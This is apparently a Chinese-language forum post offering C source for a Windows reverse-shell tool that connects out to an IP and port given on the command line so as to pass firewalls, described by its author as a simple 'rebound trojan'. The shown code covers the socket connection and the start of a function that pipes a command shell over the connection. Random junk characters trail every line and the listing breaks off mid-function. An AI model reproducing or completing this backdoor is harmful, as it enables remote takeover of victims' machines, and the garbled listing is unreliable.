这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I)O%D3wfMW
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/* ============================== }DY^a'wJ-
Rebound port in Windows NT R~[
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By wind,2006/7 SQW A{f
===============================*/ L&q~5 9
#include Y-7x**I
#include I&1h/
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#pragma comment(lib,"wsock32.lib") J rYpZ.Nh
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void OutputShell();
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SOCKET sClient; cD-\fRBGK
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ir3iW*5k
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void main(int argc,char **argv) ;{j:5+'
{ %[Ia#0'Y@
WSADATA stWsaData; f+1)Ju~
int nRet; d #y{eV$Q
SOCKADDR_IN stSaiClient,stSaiServer; E':y3T@."
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if(argc != 3) IgR_p7['.
{ x]Q+M2g?
printf("Useage:\n\rRebound DestIP DestPort\n"); /p?h@6h@y
return; %~ZOQ%c1
} :q0C$xF
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WSAStartup(MAKEWORD(2,2),&stWsaData); (:vY:-\ bO
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '?wv::t
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stSaiClient.sin_family = AF_INET; onHUi]yYu{
stSaiClient.sin_port = htons(0); T[~ak"M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !N?|[n1
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A!W(>
{ !@p@u;djJ
printf("Bind Socket Failed!\n"); P;mmK&&
return; rqT@i(i
} po\Q Me
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stSaiServer.sin_family = AF_INET; V)_mo/D!D
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +8mfq\Y1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &HT
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) vAHJP$x
{ m:ITyQ+
printf("Connect Error!"); enDjP
return; (LkGBnXE
} pc:~_6S
OutputShell(); "Do9gW
} Mp7r`A,6
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void OutputShell() oypX.nye_
{ W5HC7o\4
char szBuff[1024]; f.,S-1D]h
SECURITY_ATTRIBUTES stSecurityAttributes; Q<w rO
OSVERSIONINFO stOsversionInfo; 83OOM;'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HwiG~'Ah9
STARTUPINFO stStartupInfo; ]* ':
char *szShell; AL3zE=BL
PROCESS_INFORMATION stProcessInformation; $
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unsigned long lBytesRead; dl;^sn0s
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qIuY2b`6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #92MI#|n9
stSecurityAttributes.lpSecurityDescriptor = 0; 3{]csZvW
stSecurityAttributes.bInheritHandle = TRUE; 1vx:`2 A4
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